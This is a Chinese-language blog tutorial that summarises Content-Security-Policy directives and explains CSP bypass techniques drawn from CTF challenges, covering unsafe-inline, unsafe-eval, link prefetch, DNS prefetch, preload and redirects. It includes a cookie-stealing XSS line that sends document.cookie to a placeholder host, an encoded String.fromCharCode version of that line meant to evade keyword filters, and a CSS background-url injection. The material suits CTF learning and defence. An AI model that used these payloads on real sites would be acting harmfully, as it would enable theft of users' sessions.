CSP總結及CTF實例分析
快，關注這個公眾號，一起漲姿勢～
本文作者：HeartSky
感謝HeartSky來稿，本文稿費150元。持續小廣告：各位大佬有安全方面新的創作都可以向小編砸過來，將文章以Word形式發送至郵箱minwei.wang@dbappsecurity.com.cn。
最近各大比賽中 CSP 繞過的題目突然多了起來，自己也嘗試著總結下
What is CSP?
> The new Content-Security-Policy HTTP response header helps you reduce XSS risks on modern browsers by declaring what dynamic resources are allowed to load via a HTTP Header.
CSP(Content Security Policy) 在 HTTP 響應頭中規定，用來減少 XSS 攻擊。在 HTTP 響應中長這樣
Directive Reference(指令參考)
不同指令之間用 `;` 分隔
同一指令的多個指令值之間用空格分隔
指令值除了 URL 都要用引號包裹
指令如果重複，則以第一個為準
指令 | 示例 | 說明
default-src | "self" cdn.example.com | 定義資源默認載入策略
script-src | "self" js.example.com | 定義 JS 的載入策略
img-src | "self" img.example.com | 定義圖片的載入策略
style-src | "self" css.example.com | 定義樣式表的載入策略
font-src | font.example.com | 定義字體的載入策略、
object-src | "self" | 定義引用資源的載入策略，如
* | img-src * | 通配符，允許除 data: blob: filesystem: 協議之外的任意 URL
"none" | object-src "none" | 不允許載入任何資源
"self" | script-src "self" | 允許載入同域(即同域名、同協議、同埠)下的資源
data: | img-src "self" data: | 允許通過 data 協議載入資源，如 data:image/jpeg;base64,base64_encode_data
domain.example.com | img-src domain.example.com | 允許載入指定域名下的資源
*.example.com | img-src *.example.com | 允許載入 example.com 下所有子域名的資源
"unsafe-inline" | script-src "unsafe-inline" | 允許執行內聯資源，如樣式屬性、事件、script 標籤
"unsafe-eval" | script-src "unsafe-eval" | 允許不安全的動態代碼執行，如 JS 中的 eval() 函數
https://cdn.com | img-src https://cdn.com | 只允許給定域名下的通過 HTTPS 連接的資源
https: | img-src https: | 只允許通過 HTTPS 連接的資源
Some examples
只允許載入同源下的任何資源**
default-src "self";
允許載入谷歌分析的 JS(用來統計數據，如博客訪問量)和同源下的資源
default-src "self"; script-src: "self" www.google-analytics.com
只允許載入同域下的圖片、JS、CSS 和 Ajax 請求，其他類型的資源不允許載入
default-src "none"; script-src "self"; connect-src "self"; img-src "self"; style-src "self";
Bypass unsafe CSP
unsafe-inline
script-src "self" "unsafe-inline"；
當開啟了這個選項時，意味著可以執行內聯資源，包括 JS、樣式表等
假設我們這裡的例子都有一個向管理員留言的功能，而目標都是讓管理員訪問我們的目標網站，從而獲取一些信息，乃至很重要的 Cookie。
在沒有過濾的條件下我們可以這樣
至於有過濾的情況下，為了不至於那麼生硬，我們舉幾個真實比賽中的例子
過濾了點
Google CTF 2016 Wallowing Wallabies - Part Three
過濾了所有的點，屬性的點可以用 `[""]` 的形式來代替，URL 我們可以用 String.fromCharCode 函數，所以最後的 payload 是
過濾了大部分關鍵字
在最近結束的 ZCTF 2017 中就碰到了這樣一道題，
(
)
eval
document
location
href
window
src
svg
img
這些常見的關鍵字都被攔截了，所以考慮一些冷門的發起請求的方法，搜到了長短短的 Twitter 中的一個 payload
因為我們不用獲取 Cookie，所以完全可以實現我們的要求
PS：//# sourceMappingURL 是用來請求一個 .map 文件，實現代碼出錯時直接顯示原始代碼，而不是經過壓縮或其他轉換操作後的代碼，方便開發者調試
還有就是這個指令值出現在 style-src 中
style-src "self" "unsafe-inline";
比如上次 Pwnhub 藍貓師傅出的一道題 `打開電腦`， CSP 是長這樣的
我們可以提交一條 md5 值，後台顯示方式和前段差不多，即
fffffffffffe53cdbc640fffb934cfb8
因為有 htmlspecialchars，對 `
233 style=background-image:url(http://xxx.com)
233 style=background:url(http://xxx.com)
background-image 屬性是用來為元素設置背景圖像的
unsafe-eval
script "self" "unsafe-inline" "unsafe-eval"
當上面的 unsafe-inline 和 unsafe-eval 都開啟時，將會變得很危險
因為你過濾的一些關鍵字都可以用 eval 函數來繞過，比如
我們先對最基本的 payload 用 String.fromCharCode 函數來處理
document.location=http://xxx.com+document.cookie
String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 104, 116, 116, 112, 58, 47, 47, 120, 120, 120, 46, 99, 111, 109, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101)
再用 eval 函數執行
這樣就避開了很多關鍵字，當然不保證會直接過濾掉 eval
Link Prefetch
在 HTML5 中有一個新特性，[Link Prefetch](https://developer.mozilla.org/en-US/docs/Web/HTTP/Link_prefetching_FAQ)(頁面資源預載入)，瀏覽器會根據指示在空閑時預載入指定的頁面，並把它們存儲在緩存里，這樣用戶訪問這些頁面時，瀏覽器就能直接從緩存中提取出來，從而加快訪問速度
官方的定義
Link prefetching is a browser mechanism, which utilizes browser idle time to download or prefetch documents that the user might visit in the near future. A web page provides a set of prefetching hints to the browser, and after the browser is finished loading the page, it begins silently prefetching specified documents and stores them in its cache. When the user visits one of the prefetched documents, it can be served up quickly out of the browser"s cache.
下面就說下幾種可以實現預載入的方式
prefetch
一般是通過 link 標籤來實現預載入的指
但是在標籤內的話是沒辦法打到 Cookie 的，但如果我們可以執行內聯 JS，情況就不一樣了
Content-Security-Policy: default-src "self"; script-src "self" "unsafe-inline";
如果 CSP 頭是這樣的，我們可以通過利用 JS 創建 link 標籤的方式打到 Cookie
dns-prefetch
dns-prefetch(DNS預解析) 允許瀏覽器在後台提前將資源的域名轉換為 IP 地址，當用戶訪問該資源時就可以加快 DNS 解析。
同樣想要在
Content-Security-Policy: default-src "self"; script-src "self" "unsafe-inline";
這種情況下收穫 Cookie 的話
因為域名的命名規則是 [.-a-zA-Z0-9]+，所以需要對一些特殊字元進行替換
然後到 ns 伺服器上獲取 DNS 查詢記錄就可以了，我用的是這個[平台](http://ceye.io)
preconnect
preconnect(預連接)，與 DNS預解析 類似，但它不僅完成 DNS 預解析，還進行 TCP 握手和 TLS 協商
利用方式和上面類似
preload
preload 是一個新的 web 標準，提供了取回當前頁面的特定資源更多的控制。它聚焦於取回當前頁面並且提供了高優先權，而 prefetch 以低優先權取回下一個頁面的資源
和其他屬性值不同的是，它是由 connect-src 決定的，只有 CSP 長下面這樣時才會對 href 里的資源發起請求
Content-Security-Policy: default-src "self"; connect-src *;
然後就是和上面類似的 payload 了
html
prerender
測試了下好像已經不行了，沒有 CSP 頭也不行
302 Redirect Bypass
很多種情況下網站會有302重定向的頁面，用來跳轉到本站的其他資源或者外部鏈接
在 PHP 中一般這樣來實現
php
header("Location: http://xxx.com");
我們看下官方的[說明](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)
4.2.2.3. Paths and Redirects
To avoid leaking path information cross-origin (as discussed in Egor Homakov』s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com not-example.com/path:
Directly loading https://not-example.com/not-path would fail, as it doesn』t match the policy.
Directly loading https://example.com/redirector would pass, as it matches example.com.
Assuming that https://example.com/redirector delivered a redirect response pointing to https://not-example.com/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches not-example.com/path if we ignore its path component.
也就是說只要產生跳轉的頁面在 CSP 下是可以訪問的，那麼就能實現跳轉到其他頁面，當然，這個頁面得是和產生跳轉的頁面同域下的
